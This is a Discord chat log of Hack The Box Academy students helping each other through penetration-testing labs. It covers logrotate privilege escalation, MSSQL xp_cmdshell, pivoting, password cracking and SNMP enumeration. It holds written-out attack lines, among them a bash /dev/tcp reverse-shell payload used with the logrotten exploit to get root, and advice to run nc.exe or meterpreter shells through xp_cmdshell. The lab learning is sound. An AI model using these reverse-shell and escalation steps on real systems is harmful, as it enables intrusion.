50% because if your internet speed and the lab physical location (in the UK the last time i check) and 50% because of sometime the academy lab suck ass

[vital adder]

some question on some section could be straight out dumb or the only way to get the answer is through the hint but generally you can solve most of the question with the given info on the section and of course sometime you need to do additional research about a topic (not looking for hint on forum 🤣 )

[vital adder]

if you are still having issue with the script hint just make it send ||POST|| request instead

[frank ermine]

If i want to learn assembly 64_x86 specifically for windows development will the assembly module in htb fit for me? Because i read that the module is built on linux fundamental knowledge, and because assembly is cpu-dependent i am not aure

*sure

[storm viper]

There is a problem with the machines when I ping the machine it doesn't respond. I tried to fix it and it didn't work. Also even the walkthrough says to ping

[kindred comet]

Once I got the hash here (Cracking Passwords with Hashcat -> Cracking Miscellaneous Files & Hashes), a long hash starting with $7z, I tried running hashcat -m 11600 $7z... /usr/share/wordlists/rockyou.txt, but it says "Separator unmatched" & "No hashes loaded." I tried googling it to understand and trying different things to validate the hash, but I don't seem to be getting anywhere with it. The section doesn't say anything about this, does anyone have any insight?

[silent scarab]

anyone done with Logrotate on Linux Privilege Escalation? idk why but I can't even seem to find the logrotate.conf file, it doesnt seem to be in the /etc directory, and i tried searching for all files in all directories for the logrotate.conf, but I still can't find it 😦

[naive wadi]

Haven't done this section yet but if its a dot file it could be .logrotate.conf

[acoustic owl]

I have not found the file either, but I have completed the section

Have a look at the user directory.
You should find answers there

[narrow solar]

hey friends, i am at Attacking Common Services - Hard, i tried Impersonate all 3 users, none have sysadmin, so i dont have permission to enable ex-cmd, and when trying execution using linked Server i only get 'testadmin' and null output, tried to get the flag with the execution but didnt work

[silent scarab]

managed to solve it after googling, turns out its similar to a htb retired machine. could i ask you a question? ||why does writing to the file trigger the logrotate, how do we determine this is how the rotate occurs without a .conf file to refer to?|| i only know this because i read the writeup for the retired machine

[narrow solar]

or to be more specific, i don't get it how to enable xp_cmdshell with the EXECUTE command, i think this might be the goal

[acoustic owl]

Logrotate ensures that log files do not become too large.
When exactly they rotate is in the configuration file.

If you look at the files in the user directory, you will see that there is only a single entry in the log file that was saved. That means, after an entry the logfile is obviously rotated.

[acoustic owl]

Did you show the linked servers?

[silent scarab]

oh i see! so the limitation on size is what made the rotate occur. thank you for the help 🙂

[acoustic owl]

Why not try this server? 😉

[brave sail]

Does anyone know what does the error refer to here?

[vivid igloo]

try to remove the colon

nvm didn't saw th whole error

[acoustic owl]

You probably just copied the command out.

[narrow solar]

i dont get it, i am already trying it 😂

[brave sail]

Thank you sir

[narrow solar]

but there is no output

i am just not sure what type of command to put in the EXECUTION command, is it sql commands or cmd

should i be trying something like this? : EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''EXECUTE sp_configure "show advanced options", 1;GO;RECONFIGURE;GO;EXECUTE sp_configure "xp_cmdshell", 1;GO;RECONFIGURE;GO'')') AT [LOCAL.TEST.LINKED.SRV]

[acoustic owl]

Try to impersonate a user with admin rights and then query the linked server

[analog dock]

Anyone able to help me on the pivot skills assessment? I’m rdp into the ml user, and managed to get the .dmp file, but I’m unsure how I can transfer it to pwnbox

[acoustic owl]

with xfreerdp you can mount a drive so you can easily copy data back and forth.

/drive:<NAME>,<PATH>

[vivid igloo]

can't get no root ./logrotten -p ./payload /tmp/tmp.log
Waiting for rotating /tmp/tmp.log...
module :LINUX PRIVILEGE ESCALATION Content :Logrotate

[pastel lance]

Could I get help with Active Directory Enumeration & Attacks? I am stuck on the skills assessment Pt. 1, Q4 . I cannot pivot to MS01. I am able to access WEB-WIN01 with evil-winrm, psexec, and the webshell, but trying to move to MS01 via a PSSession has failed, and I can't connect directly from my own machine as MS01 is on a separate network. I have tried to use reverse ssh dynamic port forwarding and proxy chains, but that failed with evil-winrm since I cant get the prompt to show up where I can type in my password, and psexec is using cmd.exe and trying to elevate to powershell loses the full interactivity. not sure what else i could try.

Edit: I am able to use psexec to get onto MS01 with enter-pssession but then i have 0 interactity and can't see the output of any of my commands

[acoustic owl]

Pay attention to the path to the log file

[analog dock]

Thank you!

[vivid igloo]

i gave the right path of the log file it's not giving any reverse connection

[vivid igloo]

!

[fringe shell]

Not sure if it is the best way, but i used net use to mount the remote folder on that one

[acoustic owl]

Did you also write an entry in the log file so that the log file is rotated?

[vivid igloo]

yes sir

[vivid igloo]

Waiting for rotating

[acoustic owl]

Which log file did you use?

[vivid igloo]

the on which was already there as default in the htb-user :htb-student@ubuntu:~/backups$ ls
access.log

[vivid igloo]

am idoing smth wrong

[acoustic owl]

Yes probably, because it should work with that

[vivid igloo]

./logrotten -p ./payload ./backups/access.log
Waiting for rotating ./backups/access.log...

u saind smth about entry

what kind of entry i should've added is it smth specific or any random thing ?

[silent scarab]

you can refer to what i asked @acoustic owl earlier, that might help you

[vivid igloo]

am still stuck

[silent scarab]

try googling for a walkthrough on hackthebox machine 'Book'

[vivid igloo]

./logrotten -p ./payload ./backups/access.log
Waiting for rotating ./backups/access.log...

it's still stuck

[acoustic owl]

Now write something in the log file. Does it rotate then?

[supple patio]

Nice

[analog dock]

Skills assessment was pretty nice

[supple patio]

Gl in AD)

[analog dock]

Thank you, I’m not too familiar with ad so that will be challenging

[silent scarab]

just finished that yesterday, was an insane learning experience. all the best!

[analog dock]

Sheesh, module says 7 days lol

That will be fun

[novel shoal]

hello i need help on last question of SHELLS & PAYLOADS: The Live Engagement

[supple patio]

Then try "Introduction to AD"

[vivid igloo]

echo node >> ./backups/access.log
htb-student@ubuntu:~$ ./logrotten -p ./payload ./backups/access.log
Waiting for rotating ./backups/access.log...

[analog dock]

If I feel like I need it, I will

[acoustic owl]

Log in with two terminals.
In one you write the command for logrotate, in the other you write an entry into the logfile

[acoustic owl]

The Penetration Tester Path assumes knowledge of the Information Security Foundations Path

[vivid igloo]

echo givemeflagbitch >> ./backups/access.log

htb-student@ubuntu:~$ ./logrotten -p ./payload ./backups/access.log
Waiting for rotating ./backups/access.log...
Renamed ./backups with ./backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
htb-student@ubuntu:~$ ls
backups backups2 logrotten payload super.c
htb-student@ubuntu:~$ nc -nlvp 9001
Listening on 0.0.0.0 9001

[silent scarab]

maybe you need to look at the module content again... your reverse shell listener isn't set up properly

[vivid igloo]

u mean the payload

cat payload
bash -i >& /dev/tcp/10.129.204.41/9001 0>&1

and i used this exploit :https://github.com/whotwagner/logrotten/blob/master/logrotten.c

[vivid igloo]

ayo tell me one thing am i suppose to use the ip of the vm or the vpn ?

[vivid igloo]

?

it should be the ssh vm ip cuz thats what am using

[acoustic owl]

I do not understand the question.
For the RevShell?
You have to take the IP of the VM from the VPN. Mostly interface tun0

[vivid igloo]

HONEY IT'S STIL NOT GIVING ANY CONNECTION

*small latter's *

nc -nlvp 9001
Listening on 0.0.0.0 9001

[acoustic owl]

Sweetie, your caps lock key is stuck 😉

[vivid igloo]

ahahahhaa

[analog dock]

@slender shoal basically it is the attack host, that is ssh’d into Ubuntu

#858470491676737536 your message here

[acoustic owl]

What is in your payload file?

[vivid igloo]

i compiled this :https://github.com/whotwagner/logrotten/blob/master/logrotten.c

[vivid igloo]

oh

the payload

[acoustic owl]

yes, the Payload

[vivid igloo]

bash -i >& /dev/tcp/10.10.15.14/9001 0>&1

[vivid igloo]

and the ip am using is the ip of the vpn

i feel like i should use a diffferent por

*port

[acoustic owl]

The IP of your VM on the VPN interface, yes

The Port is fine

[vivid igloo]

VPN interface,

[vivid igloo]

and also

[vivid igloo]

i missed this part because there was no file :logger@nix02:~$ grep "create|compress" /etc/logrotate.conf | grep -v "#"

[acoustic owl]

The IP already looks right. I think you used the IP of your VM on the VPN interface (usually tun0).

[vivid igloo]

??

[rain tiger]

In Skill assessment question:
SSH to 10.129.. with user "user2" and password ""

what is meaning of password ""

Q: If you search and find the name of this host, you will find the flag for user2.

[acoustic owl]

I think, password = flag from user1

[rain tiger]

yes you are right! Thanks 🙂

[vivid igloo]

@acoustic owl even after creating the file it removes by itself ?./logrotten -p ./payload ./backups/access.log
Waiting for rotating ./backups/access.log...
Renamed ./backups with ./backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
htb-student@ubuntu:~$ ls
backups backups2 logrotten payload super.c
htb-student@ubuntu:~$ ls
backups logrotten payload super.c

is this behaviour normal ? @acoustic owl @silent scarab

[acoustic owl]

Yes, that is what happened to me too

[rain tiger]

User4 has a lot of files and folders in their Documents folder. The flag can be found within one of them.

I can able to list of all files but how can I check the content of the flag.

[vivid igloo]

ugh it's getting on my nerves now

[rain tiger]

Ignore! got it! 🙂

[gaunt monolith]

Password Attack-medium lab I’m in ||jason||user and I need login with dennis credential I read document carefully but no idea 🤷‍♀️

In my mind I need to get id_rsa (for dennis ) to get privilege and log in as a root via ssh because all my skills to get privilege for jason doesn’t work … so i need to show any dir for dennis but I don’t have permission … dig more or Im in wrong rode ?

[tawdry hazel]

Hello everyone, I just went over the "Documentation & Reporting" module in prep for the CPTS. I was wondering about the logging of the shell output. I dont like tmux and I belong to the mad people that use like 5 different terminal windows with 4 tabs each all over the place. So far I only found script -a filename and tee -a filename for logging my stuff to be useful. Which do have some issues with the ohmyzsh and powerlevel10k theme, because of the autocomplete being shown in the logs with ^H everywhere. Does anyone have any other recommendations? I am using the xfce terminal, but I was thinking of using a 2nd terminal like terminator to have a black on white default profile for screenshots when raw output isn't really working out. Maybe there is a good ohmyzsh plugin?

[vivid igloo]

nc -nlvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.204.41 50942
root@ubuntu:~# ^C

i was about to have a connection

and got it

[rapid sparrow]

https://academy.hackthebox.com/module/147/section/1318

I use lazagne.exe to run in cmd,

when I start start lazagne.exe all it pop ups the lazagne, but after few seconds, it close automatically

how do I fix it?

[acoustic owl]

open cmd
run this command
.\lazagne.exe all

[gaunt monolith]

Anyone can give me hints?

[analog dock]

If I remember correctly Dennis can be bruteforced

Not entirely sure what password file it was though

[vivid igloo]

anyone worked with Miscellaneous Techniques
Passive Traffic Capture

[gaunt monolith]

I made a brute force and I don’t have any login

hydra -l dennis -P mut_pass.list ssh://IP

[acoustic owl]

Which module?

[analog dock]

There might be a password file that you can find somewhere

[gaunt monolith]

Password attack-medium lab

[acoustic owl]

See what services are running local on the server

[gaunt monolith]

I know ||Mysql|| and when login with all credentials I found nothing happened

[narrow solar]

hey buddies, sorry for asking a lot, but i finally figured it out, i just want to know why am i getting this error?? the path is fine!! edit:: i am at Attacking Common Services - Hard

[gaunt monolith]

and I reviewed Footprinting module … I think this is new idea I will learn it

[acoustic owl]

Hmm? you are probably making a mistake here. Send me the command you are using via DM, then I'll have a look at it

[gaunt monolith]

Now I’m learning about how this server work my question is I’m in right road!

[gaunt monolith]

Thanks I’ll DM u

[zinc sentinel]

Sanity check please
Attacking common applications- Attacking Thick Client Applications
Trying to drag/drop the .bin file into de4dot exe ..
Iv set up so it runs in powershell fine, changed x64gdb settings and restarted it, followed memory map and tried all MAP + -RW-- type files
But it's always saying not .net framework on all exported .bins
Guidance of what I'm missing appreciated
Inboxes welcome

[fringe shell]

Is it because system should be capital S? Also, can't you just do dir C:\Windows.... without needing to chain commands

Edit: Never mind the capital S thing 😂

[narrow solar]

i didnt get it,i cant chain commands?

i just got the flag 😂 thanks

[fringe shell]

Nice... Did chaining commands work? I've never tried it the cmdshell to be honest

[narrow solar]

no it didnt, i think it consider the next comm part of the path

yes it does

[high crown]

In the Learning Process module's page about The Brain, it mentions two common myths about the brain, and right afterward it goes on to say:

One of the best-known examples is Einstein, who we know was terrible at math and learned very slowly throughout his school career, unlike the others.

But isn't that also a myth that has been disproven?

[candid lily]

should i buy htb academy student pass or htb vip subscription which is better for a begginer

[novel matrix]

academy if you want to learn. Otherwise if you have knowledge how to attack boxes, go with VIP.

[candid lily]

oh ok i think i have to go academy then thanks

one more question? does practicing htb help in real life scenarios

[analog dock]

Academy is more realistic

[vivid igloo]

ayo

[torn canopy]

i need help can someone help me ?

in stack based buffer overflow linux x86

can anybody help me ?

[stark atlas]

Real basic one, where is the password suppose to SSH in?
I have tried "" and no password and both do not work.

Module: INTRODUCTION TO WINDOWS COMMAND LINE

[torn canopy]

hey can you help me

in this question " How large can our shellcode theoretically become if we count NOPS and the shellcode size together? (Format: 00 Bytes)"

in stack based buffer over flow linux

[acoustic owl]

password = Flag from user2

[fallow delta]

Anyone happen to knock out the Logrotate section on the Linux PE module? I noticed there isnt a /etc/logrotate.conf on the target

[kindred comet]

for DNS enumeration using python, DNS records & queries, first question asks "Investigate all records for the domain "inlanefreight.com" with the help of dig or nslookup and submit the one unique record in double quotes as the answer.", what does unique record mean?

i'm trying both dig and nslookup and I see nothing in double quotes...

[stark atlas]

thanks - was being an idiot

[acoustic owl]

You need to find another way to find out when the logs are rotated. Have a look at the user directory

[acoustic owl]

What exactly dig command did you send?

[kindred comet]

I tried just dig inlanefreight.com, then I tried the different record types i.e. dig A inlanefreight.com

but it's unclear what unique record it's referring to

[acoustic owl]

Which records use quotation marks?

[kindred comet]

found it, kind of wish that was clearer what it wanted...

thank you!

[low vine]

Better if you ask the question

[obtuse quest]

File transfer - windows

was playing around the "Windows File Transfer Methods" section of "FIle Transfer" module in the academy.

Using the WebDav Python module I created a WebDav share using

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

which was provided from this section.

Then I tried to connect to this share from the victim's windows powershell using

dir \<my-tun0-ip>\DavWWWRoot

command, which was provided from this section.

I keep getting a “network path was not found” error. Has anyone ran into this issue???

[rustic sage]

Can someone gives me a tip which wordlist to use for ftp attack in attacking common services

I used many inclusive wordlist from resources

[acoustic owl]

Section Attacking FTP?

[rustic sage]

Yes

I mean to get the flag

I know the user already

[acoustic owl]

Lists are available on the FTP server

[drowsy bane]

Hey guys, looking for a little pointer for Linux Privilege Escalation Module for the final test, currently on flag 4

[valid cipher]

how do i find the file path for the .bashrc file

[analog dock]

Do you know how to see hidden files on Linux?

[valid cipher]

no but i learned the find command, but no work

i tried

find -name .bashrc

[analog dock]

What module are you doing?

[valid cipher]

linux fundamentals

[analog dock]

Ls -la

That’s what shows hidden files within a directory

[valid cipher]

thx found it

[analog dock]

Well -a would do it but I prefer la

[analog dock]

You’re welcome 👍🏼

[flint steppe]

Hey, not sure if this is the best channel for this. But anyone know if there are more cloud focused modules in the pipeline? Things specific to what you might run into in the cloud labs (Cyclone, Blizzard, Hailstrom)?

[brazen saffron]

Can someone tell me why we do not use /usr/bin/php 🤔 ?

[tropic ledge]

Someone here can help me ? I have this message and I am disconnected of the server :
client_loop: send disconnect: Broken pipe

[fathom pendant]

Because php is already in our user path

[brazen saffron]

Yeah but how can I know I have to use /bin/sh???

[fathom pendant]

I mean logically speaking: what is the shell

[acoustic owl]

you would have to ask HTB Staff. We students do not know what HTB plans

[fathom pendant]

Also if you use gtfo bins it's just doing the "I believe" and sending it

[flint steppe]

Thanks, yeah didn’t know if there were any staff in the discord channel.

[brazen saffron]

What?

[fathom pendant]

gtfobins is a compiled site with a bunch of different Linux binaries and how to escape them to root

[brazen saffron]

Yes and?

[acoustic owl]

Look in the user list under HTB Staff

[fathom pendant]

Anyway the reason for /bin/sh is: it's the shell...

Like that's it

That's the only reason for it

[brazen saffron]

Just because we use a shell?

[fathom pendant]

Because you're using a bash shell, yes

:p you're telling php to pull it's commands from bash

[brazen saffron]

Alright so when it's php we do this?

[fathom pendant]

Technically speaking when you run that command you drop into a shell session within a php session

[fathom pendant]

Yep

[brazen saffron]

Well, thanks.

Btw I tried to do the knowledge test from getting started without msf but I did not found how to login in admin.

I found the password + username but nothing, it was not working :(.

I was trying to do like before in the Nibbles.

[acoustic owl]

https://tenor.com/view/tandpetare1-tandpetare-gif-25009149

[gentle root]

I attempted that, wasn't able to get anything working. Could just be me misconfiguring it, couldn't find anything in forums oin it either.

[zinc marsh]

How can I set a link in obsidian?

am pasting this

[acoustic owl]

https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#links

[zinc marsh]

but it doesnt show as link

[gentle root]

[[]]

Same thing

(not)

[brazen saffron]

Btw I tried to do the knowledge test from getting started without msf but I did not found how to login in admin.
I found the password + username but nothing, it was not working :(.
I was trying to do like before in the Nibbles.

[gaunt monolith]

Password Attack - Hard lab What should be do when cracked password BitLocker file ||Backup.vdb|| ?

[acoustic owl]

Mount this drive

[full dragon]

SQLMap Module Skills Assessment. I've discovered the flag in the final_flag table but when I submit it comes back as incorrect. Can anyone DM me the flag to sanity check?

[misty current]

What type of SQL injection did you do? Blind?

[vital adder]

hint there is grep filter command on that script remove that and you should see the flag is the script is sending ||post|| request beucase hint the flag isn't in a ||pdf file||

or you can modified the grep command a bit for it to filter the flag and the wget thing in the script will download the flag for you

[full dragon]

Blind time based with a tamper script and no cast

[vital adder]

yeah this is a known (for me) send me the flag for that and if it's wrong i'll send you the right flag

[tall knoll]

Hello,
Just wanna double check
So my account on Academy is not related to the HTB Labs account or?

Checking cuz of progress credit thing

[misty current]

you would need to re-run it a few times I guess

make sure to use --flush-sessions, to make sure you're actually re-running it

[vital adder]

the flag for that have a typo and i got no idea how many time i saw this error get reported but i guess it's a features not a bug

[tall knoll]

Is there a general discussion channel here or?

No access?

[vital adder]

if you are new here read #welcome and #rules after that use /verify at #bot-commands and you will get access to the other channels

[autumn pilot]

as you may already know time based attacks sometimes can produce incorrect results

[vital adder]

yea but (i think) as far as i can remember everyone i help with this issue have the flag with the same typo

[autumn pilot]

in such cases, it would be better to explain the type of attack

and the margin of error

[gaunt monolith]

Can’t mount with this command dislocker -V file.vhd -u password — /root/bit_loker_decrypt

I think my password wrong ?

[golden vortex]

Attacking common applications- Attacking Thick Client Applications? stuck at using dnspy. the file isnt a .net pe file
i have no idea what im doing wrong. Ive tried and dumped everything i could

[analog dock]

Can you check the md5 sum of the backup in box and on your host?

[gaunt monolith]

OMG it’s possible to change? I used evil-winrm to make it impossible change but Ill check now

[vital adder]

also give this a try if you need help mounting that #modules message

[drowsy bane]

Hey guys, looking for a little pointer for Linux Privilege Escalation Module for the final test, currently on flag 4

[gaunt monolith]

If my password is ||1******!|| should be worked ? Because I’m wating a lot of time with john to finish cracking but still working

[oak vapor]

How do i get started

[gaunt monolith]

Same

[oak vapor]

Hallo

[gaunt monolith]

Ill try tom solve

[analog dock]

Mounting on windows is easier if you can’t get it done on Linux

I ended up mounting it on my windows host

[oak vapor]

Bruv anyone tell me how to get started

[gaunt monolith]

I'll try to learn a lot

[vital adder]

first step don't spam and if you are new here read #welcome and #rules after that use /verify at #bot-commands and check /start-here also at #bot-commands

[rapid sparrow]

has anyone faced this issue using proxychains to connect rdp with other pc

[vital adder]

||yep||

[rapid sparrow]

I could use nmap with proxychains, and it is fine, but the rdesktop....

[analog dock]

Are you sure that’s the right ip?

[golden vortex]

Attacking common applications- Attacking Thick Client Applications? stuck at using dnspy. the file isnt a .net pe file
i have no idea what im doing wrong. Ive tried and dumped everything i could

[rapid sparrow]

thanks, I am fucked up...

[vital adder]

no you just need some red bull

[rapid sparrow]

maybe burnt out

[analog dock]

I used proxychains with rdp today

[gaunt monolith]

Requirements user password when write this command dislocker /dev/loop0p2 -u ||1””””!|| — /media/bitlocker

[vital adder]

try without the space after -u so -u(password) like in my example

[gaunt monolith]

Ur amazing man

Thanks All to help me in this module I appreciate that 🌹

[vital adder]

http://dontasktoask.com/ try to ask better question next time but from your previous post i'm guessing you already login via ||**sql|| and if you haven't got RCE then hint get RCE but if you already have a shell then you can just continue trying the previous exploits that you mentioned

great question and you got RCE in the mssqlclient shell right? hint just make something like a meterpreter shell and upload / run it

sure you can try something like hoaxshell there is no AV to bypass but i just use that tool because i can get a quick and stable powershell payload + rev shell

or you can use something like netcat.exe and you can just use the binary that come with kali (or parrot on the pwnbox) or the given foothold machine in your case

yep same with the meterperter rev shell if you used one

did you output the file into the C:\Windows\Temp\ directory?

also this is exactly what i use for this

first why? and just try the default temp directory this isn't a shared lab so you don't have to do this and also did confirm the directory has been maked?

but why would you need wo switch to that folder? if you have nc.exe at C:\Windows\Temp\ you can just use C:\Windows\Temp\nc.exe (rev shell tag) to get a shell

[heady geyser]

i must be doing something dumb. this seems easy. stuck on the "enumerating password policies section" where they are asking for the minpwdlength. i run crackmapexec smb command and i get a traceback error on my attack machine. i run that same command on the victim machine and get no output. i ran enum4linux on both machines with no output either. what am i doing wrong?

[vital adder]

i mean if you have then you can just use that syntax to get a shell without needing to change directory and if you want to use nc.exe to get a shell you can just wget that binary from your box and output it there and get a shell

[vital adder]

which module and section are you on?

[heady geyser]

active directory enumeration and attacks/enumerating and retrieving password policies

[vital adder]

oh sorry about that but hint you can use example cme command the main thing is the last tag but those cred in the example will also work so you can just use that or you can use ldapsearch and the main tag is showed in the example

[heady geyser]

thanks

[abstract vapor]

what are this names "MS01 , DC01 " in AD enumerate and attack Module? are this directories or subdomains or what?

[real nebula]

So, i am currently studying "WINDOWS FUNDAMENTALS" module but i don't really know how to approach it.
Do i have to study and remember quite everything or just understanding it?
For example, should i learn all system main processes that run on windows or do i just have to know how processes work on windows?

[vital adder]

what the hell is that? 🤣

[zinc marsh]

when i use dupalgeddon where do i need to use the creds?

http://drupal-qa.inlanefreight.local/node?destination=node am trying to login here

and it says wrong credentials

[vital adder]

just use something like

xp_cmdshell "C:\Windows\Temp\reverse.exe"```

[rare topaz]

Hoaxshell, from https://github.com/t3l3machus/hoaxshell

John hammond made a video on it

[vital adder]

wait what? how is that hoaxshell??

[rare topaz]

I dunno

[vital adder]

yeah i know i have been using the tool for a while now but i never saw that

[rare topaz]

Maybe there's a command that outputs that or smthn

[vital adder]

99% of the time i use the tool it's just output a base64 encoded payload

[rare topaz]

i use the linux version and tbh i do that too (actually no, even on windows i b64 it)

[vital adder]

if you base64 decode the payload for some reason just don't and try xp_cmdshell (hoaxshell payload)

[calm stratus]

Can someone help me connect to a VPN so I can get access to starting point?

[rare topaz]

Sure, whatchu need help with specifically?

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands and ask that at #starting-point

and did you see any request on your python server? because the error message is very clear about what the issue is

yeah give me a sec i'll double check this and send you a dm

[rare topaz]

Oh my, you guys have been working on this for a long time, huh @vital adder

I pray for your sanity

[vital adder]

nah i got used to this

[ashen umbra]

Alright, I am in the footprinting hard lab and have a few questions. When you run an nmap -p- IP it doesn't show any SNMP, yet if I run an snmpwalk, I get a bunch of info. Just wondering if normally I should see an SNMP port on nmap open before i attempt SNMP enumeration

yes I had the same problem. try using different wordlists

[half inlet]

okay

the only issue is, when I give it the hash in hashcat it says it cant use it because its not valid

[steady hawk]

That's because SNMP is UDP

[ashen umbra]

yup

[half inlet]

so how would i fix that?

[ashen umbra]

is that why?

[steady hawk]

Run a -sU scan it should show the port

[ashen umbra]

dont worry about hashcat for now. the module hasnt gone over hashcat yet. I did the same thing. continue on msfconsole and play with some other wordlists.

[half inlet]

alright

[ashen umbra]

will do. wow I never run sU scans and for some reason I thought a -p- runs both U and T

[thorn urchin]

it doesnt

[steady hawk]

No, -p- will scan all ports but it's a TCP scan

[thorn urchin]

because a -p- -sU would take an eternity

[ashen umbra]

well big win on learning something valuable today

[turbid hull]

I have a doubt, can anyone help me on how should i ping a maschin in academy?

[rare topaz]

udp scans take ages, so it's just not worth spamming it

learnt it from ippsec

[rare topaz]

wdym?

[turbid hull]

not able to ping the ip

[ashen umbra]

so should I add it to my pentest methodology? Obviously I totally missed it. Wonder if an -sU with specific ports would be valuable

[thorn urchin]

cause udp is a stateless protocol there's not a built in failure condition to know a port is open, and it could just be taking awhile for the service to respond, so udp scans take forever cause theres a delay in listening for a reply.

on top of that some services only respond if they receive proper data, so the only way to talk yo them and know theyre they is to throw a bunch of common services protocols at the port

so UDP takes forever

[marsh herald]

rip lol

[thorn urchin]

I usually only scan for the most common of udp ports

[ashen umbra]

thats what I need for sure

[analog dock]

I don’t think we’re able to wget or curl things from attack host to target

[rare topaz]

what module is this?
What section of the module is this?
show your openvpn command output.

oh it's pwnbox

[thorn urchin]

thats a public docker container, it wont respond to ping

[rare topaz]

yeah you'd just curl or ssh into it then

[thorn urchin]

or web browser

depending on the section

also you should technically not reveal the ip and port when you're doing a docker container section cause someone else could mess with your lab if theyre being a dick

[ashen umbra]

Next question. when it comes to braa. the SNMP enum tool, for some reason I don't understand the OID's that it uses. Here is a snip of some of the data from SNMPwalk. What of this is the OID?

iso.3.6.1.2.1.25.1.7.1.2.1.4.6.66.65.67.75.85.80 = ""
iso.3.6.1.2.1.25.1.7.1.2.1.5.6.66.65.67.75.85.80 = INTEGER: 5
iso.3.6.1.2.1.25.1.7.1.2.1.6.6.66.65.67.75.85.80 = INTEGER: 1
iso.3.6.1.2.1.25.1.7.1.2.1.7.6.66.65.67.75.85.80 = INTEGER: 1
iso.3.6.1.2.1.25.1.7.1.2.1.20.6.66.65.67.75.85.80 = INTEGER: 4
iso.3.6.1.2.1.25.1.7.1.2.1.21.6.66.65.67.75.85.80 = INTEGER: 1

[oak vapor]

#bot-commands

[analog dock]

At least it often fails for me

[ashen umbra]

for instance, a command I would run based on this would be:

braa backup@10.129.202.20:3.6.1
Unable to process queries: Invalid OID: '3.6.1'!

[sick frost]

Hello everyone. I’m having some trouble in password module. I’m support find the contents of david.txt file. It supposed to be done by pass the hash. The has I have is correct. But how am I supposed to pass the hash using mimikatz. I’m not able to understand the syntax for it

[ashen umbra]

https://blog.netwrix.com/2021/11/30/passing-the-hash-with-mimikatz/

dunno if this would help but I googled it and this is what I found. Might be worth a try to research some syntax

[sick frost]

I’m performing the same thing mentioned here. I did it by sshing as administrator. Is it the mistake I’m doing. Am I supposed to perform it by RDPing into system ?

[ashen umbra]

Haven't done that one yet. would say that is worth a try

[sick frost]

I’ll give it a shot then

[ashen umbra]

oh man. So i have gotten into the IMAP server with a user gained from SNMP. their inbox has nothing of value

[fallow sun]

hi!!!!!

i need a bit of help completing the environment enumeration chapter from the linux priv esc module

i've searched EVERYWHERE but I can't find anything

please @me if you're up to help, thanks!!!

[thorn urchin]

https://dontasktoask.com

@fallow sun

[fallow sun]

o

sorry:(

[zinc marsh]

Noobie question: The command to hide errors was 2>/dev/null?

[fallow sun]

is there any experts in linux privesc around? I'd like to get a hand in finding a hidden (either in plain sight or actually hidden) file containing a flag in the enumeration chapter of the linux privesc module in the htb academy. i'm really stuck rn and i've almost checked every file i've found. maybe i just dont know where to search:(

[fallow sun]

...maybe

lemme recheck

[worthy tree]

it should be that syntax

[fallow sun]

i did use the 2>/dev/null thingy

but i remember seeing that sometimes that can throw some output that actually does contain something funny

[rustic sage]

is there any places to learn about privilege escalation besides HTB for now? I can't afford the cubes right now since I want to do fundamentals instead.

[thorn urchin]

read the link lol

you did the same thing again with your second question

[zinc marsh]

la -la

[fallow sun]

sorry im kinda dumb ok i promise i will not do it again

[thorn urchin]

dont need to apologize or promise anything to me

its a guide on how to ask better questions so YOU are more likely to get the help you actually need

[zinc marsh]

just ask ur question xd

[thorn urchin]

its legitimately a good read

[zinc marsh]

if u give details of what u have to do and what u tried with the link better

[fallow sun]

ok sorry im just frustrated ok?

[thorn urchin]

its all good, aint nobody mad here

except me

im always mad

[zinc marsh]

https://chat.openai.com/

[thorn urchin]

I actually skipped enumming that question, got all the way to root, and then just grepped the entire filesystem for flags

[zinc marsh]

Q: how can i read hidden files in linux

A: In Linux, hidden files are typically denoted by a dot (.) at the beginning of their filenames. These files are hidden by default in many file browsers and directory listings. However, you can still access and read hidden files using various methods. Here are a few ways to do so:

1. Command-line: You can use the ls command with the -a (or --all) option to display all files, including hidden files, in a directory:

   ls -a
   

   This will list all files, including hidden files, in the current directory. You can then use standard file reading commands (cat, less, etc.) to read the contents of the hidden files.

2. File browser: If you're using a file browser or file manager, you can usually enable an option to show hidden files. The specific method varies depending on the file browser you're using. For example, in the Nautilus file browser (used in Ubuntu), you can press Ctrl+H to toggle the visibility of hidden files.

3. Specific file access: If you know the path and name of a hidden file, you can directly read its contents using standard file reading commands. For example:

   cat /path/to/.hiddenfile
   

   Replace /path/to/.hiddenfile with the actual path and filename of the hidden file you want to read.

Remember that hidden files are often hidden for a reason, and modifying or deleting them without proper knowledge and understanding can potentially cause issues. Exercise caution when working with hidden files, especially those related to system configuration.

[fallow sun]

so what im doing rn is trying to find a flag hidden somewhere in this machine. i'm supposed to enumerate a distinct variety. the question is: how do I find a secret flag? where should i look for?

[zinc marsh]

find /* -name "flag.txt" 2>/dev/null

[fallow sun]

wouldnt that be too obvious?

[zinc marsh]

idk i dont even know what module are u doing

[fallow sun]

https://academy.hackthebox.com/module/51/section/1592

[zinc marsh]

have u used linpeas or linenum?

[fallow sun]

perhaps i should try that, maybe

[zinc marsh]

have u tried something

that is the first thing they teach in the section

[fallow sun]

no its not

i was trying to do it without tools yk

We should, though, practice our manual enumeration as much as possible and create (and continue to add to) our own cheat sheet of key commands (and alternatives for different Linux operating systems). We'll start to develop our own style, command preference, and even see some areas that we can begin to script out ourselves.

[fallow sun]

yeah the module says that yea maybe i should use linpeas, but i want to do it the manual way

ok ok you got me

[zinc marsh]

then do it manually

[fallow sun]

i tried but i just couldnt find anything

i'll use linpeas and see what i can find

[rustic sage]

I am doing the network enum module and i was stuck at the Enumerate all ports and their services. One of the services contains the flag you have to submit as the answer.

My mistake was not waiting with nc and just iterating over all found open ports with tcpdump too quick. As a gernal rule of thumb how long should one wait on nc for usable information?

[bitter abyss]

Hi guys, it is explain on a module on how to had a persistance access to a machine ? Like C2 or other ?

[fallow sun]

dude they went mad with this

@zinc marsh could you try to find the flag?

you probably have more experience in this

[proud pine]

If you're not going to follow the instructions in the module, then you might as well just skip the questions.

[fallow sun]

i did run linpeas after all

it too didnt find anything useful

my point is that maybe it did but i just dont see it

[zinc marsh]

am doing other module

but as he told just follow the section

it is a question of +0 cubes

[fallow sun]

its not about cubes its about getting better, yk?

